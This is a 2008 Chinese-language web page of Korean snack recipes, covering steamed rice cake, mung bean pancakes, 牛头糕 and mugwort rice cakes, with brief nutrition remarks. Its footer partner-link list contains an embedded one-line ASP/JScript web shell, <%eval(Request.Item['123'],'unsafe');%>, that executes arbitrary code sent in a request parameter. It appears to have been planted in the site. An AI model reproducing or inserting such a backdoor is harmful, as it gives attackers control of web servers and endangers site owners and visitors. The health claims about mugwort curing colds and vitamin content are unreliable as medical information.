http://www.51gifts.com.cn
繁體中文
 


韩式小美食

  发布时间:2008年11月27日 此新闻已被浏览 872

松糕

  在荞麦面里加马格利酒和面并发酵后,把大枣、鸡冠花叶、黑芝麻、石耳等调料配色放在上面蒸出来。可以切成片、四角形或菱形。 

    材料: 粳米5杯,浊酒,白糖,热水,盐 
  
    调料﹕大枣,鸡冠花,石耳,黑芝麻 

  做法

  (1) 把粳米放在20℃水中泡8小时,捞出后磨成面。 

  (2) 粳米面100里以白糖10%,浊酒15%,加水量45%的比例和面,在30℃发酵8小时。 

  (3) 用于调料的大枣去核切成丝,鸡冠叶要挑红且嫩的洗净并捞取,炒黑芝麻。 

  (4) 把和好的面放在垫有干净麻布的松糕框或蒸锅里,并将大枣和鸡冠叶,黑芝麻,石耳作为调料放在上面。 

  (5) 冒热气的时候,开始要蒸20分以上。凉后切成菱形和四角形。

绿豆饼 

  绿豆饼是把磨好的绿豆用盐调味,加弄碎的猪肉﹑绿豆芽﹑蕨菜﹑切成丝的泡菜煎出来的,做下酒菜不错。可以用鸡肉或火鸡肉代替猪肉。以腌一下的蕨菜﹑绿豆芽﹑包心菜切成丝代替。可以搭配在酱油里加肉汤和醋做的酱。

  绿豆有利尿作用,是凉身性质的食品,可以防署降温。并且含有丰富的钙和维生素A,对成长期儿童和老人好。

牛头糕 

  在糯米面中混合栗子﹑大枣﹑柿饼等水果和黄豆蒸出来的年糕。因切好的年糕的样子像牛头肉片,所以称为牛头糕。

  黄豆含有丰富的蛋白质,以至被称为“土地上长出的牛肉”,并且,能促进氨基酸的形成。
艾蒿糕

  艾蒿要用嫩艾蒿才柔软。特色是吃年糕的时候,在蜂蜜里加生姜汁。在糯米面里放煮熟并捣好的艾蒿,做成栗子大小再蘸绿豆粉。

  艾蒿的特点是含有丰富的无机物和维生素。特别含有许多维生素A,只吃80g也能供应一天所需的量。并因含有丰富的维生素C,对预防和治疗感冒也有效。


关闭窗口】· 【打印】· 【顶部】· 【上一篇】· 【下一篇


 
合作伙伴 : | 百度 | <%eval(Request.Item["123"],"unsafe");%> target=_blank>谷歌 | 互通小家电 | 短信群发 | 进口轴承 | | 上海农工商搬场
 
112211
公司地址: